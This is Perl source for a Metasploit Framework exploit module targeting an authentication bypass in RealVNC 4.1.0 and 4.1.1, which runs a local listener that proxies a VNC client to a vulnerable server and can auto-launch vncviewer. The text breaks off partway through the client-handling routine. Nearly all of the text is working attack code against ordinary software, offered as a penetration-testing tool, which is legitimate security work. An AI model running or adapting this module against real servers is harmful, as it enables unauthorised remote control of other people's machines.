##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##package Msf::Exploit::realvnc_41_bypass;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use POSIX;
my $advanced = {};
my $info =
  {
	'Name'           => 'RealVNC 4.1 Authentication Bypass',
	'Version'        => '$Revision: 1.1 $',
	'Authors'        => [ 'H D Moore <hdm[at]metasploit.com>' ],
	'Description'    =>
	  Pex::Text::Freeform(qq{
		This module exploits an authentication bypass flaw in version
	4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy
	between a VNC client and a vulnerable server. Credit for this should
	go to James Evans, who spent the time to figure this out after RealVNC
	released a binary-only patch.
}),
	'Arch'           => [  ],
	'OS'             => [  ],
	'Priv'           => 0,
	'UserOpts'       =>
	  {
		'LPORT'   => [ 1, 'PORT', 'The local VNC listener port',  5900      ],
		'LHOST'   => [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0"  ],
		'RPORT'   => [ 1, 'PORT', 'The remote VNC target port', 5900      ],
		'RHOST'   => [ 1, 'HOST', 'The remote VNC target host'],
		'AUTOCONNECT' => [1, 'DATA', 'Automatically launch vncviewer', 1],
	  },
	'Refs'            =>
	  [
		['URL', 'http://secunia.com/advisories/20107/']
	  ],
	'DefaultTarget'  => 0,
	'Targets'        =>
	  [
		[ 'RealVNC' ],
	  ],
	'Keys'           => [ 'realvnc' ],
	'DisclosureDate' => 'May 15 2006',
  };
sub new
{
	my $class = shift;
	my $self;
	$self = $class->SUPER::new(
		{
			'Info'     => $info,
			'Advanced' => $advanced,
		},
		@_);
	return $self;
}
sub Exploit
{
	my $self = shift;
	my $server = IO::Socket::INET->new(
		LocalHost => $self->GetVar('LHOST'),
		LocalPort => $self->GetVar('LPORT'),
		ReuseAddr => 1,
		Listen    => 1,
		Proto     => 'tcp');
	my $client;
	# Did the listener create fail?
	if (not defined($server))
	{
		$self->PrintLine("[-] Failed to create local VNC listener on " . $self->GetVar('SSHDPORT'));
		return;
	}
	if ($self->GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {
    	if (! fork()) {
        	system("vncviewer 127.0.0.1::".$self->GetVar('LPORT'));
        	exit(0);
    	}		
	}
	$self->PrintLine("[*] Waiting for VNC connections to " . $self->GetVar('LHOST') . ":" . $self->GetVar('LPORT') . "...");
	while (defined($client = $server->accept()))
	{
		$self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));
	}
	return;
}
# Stolen from InjectVNCStage.pm
sub HandleVNCClient
{
	my $self = shift;
	my ($fd) = @{{@_}}{qw/fd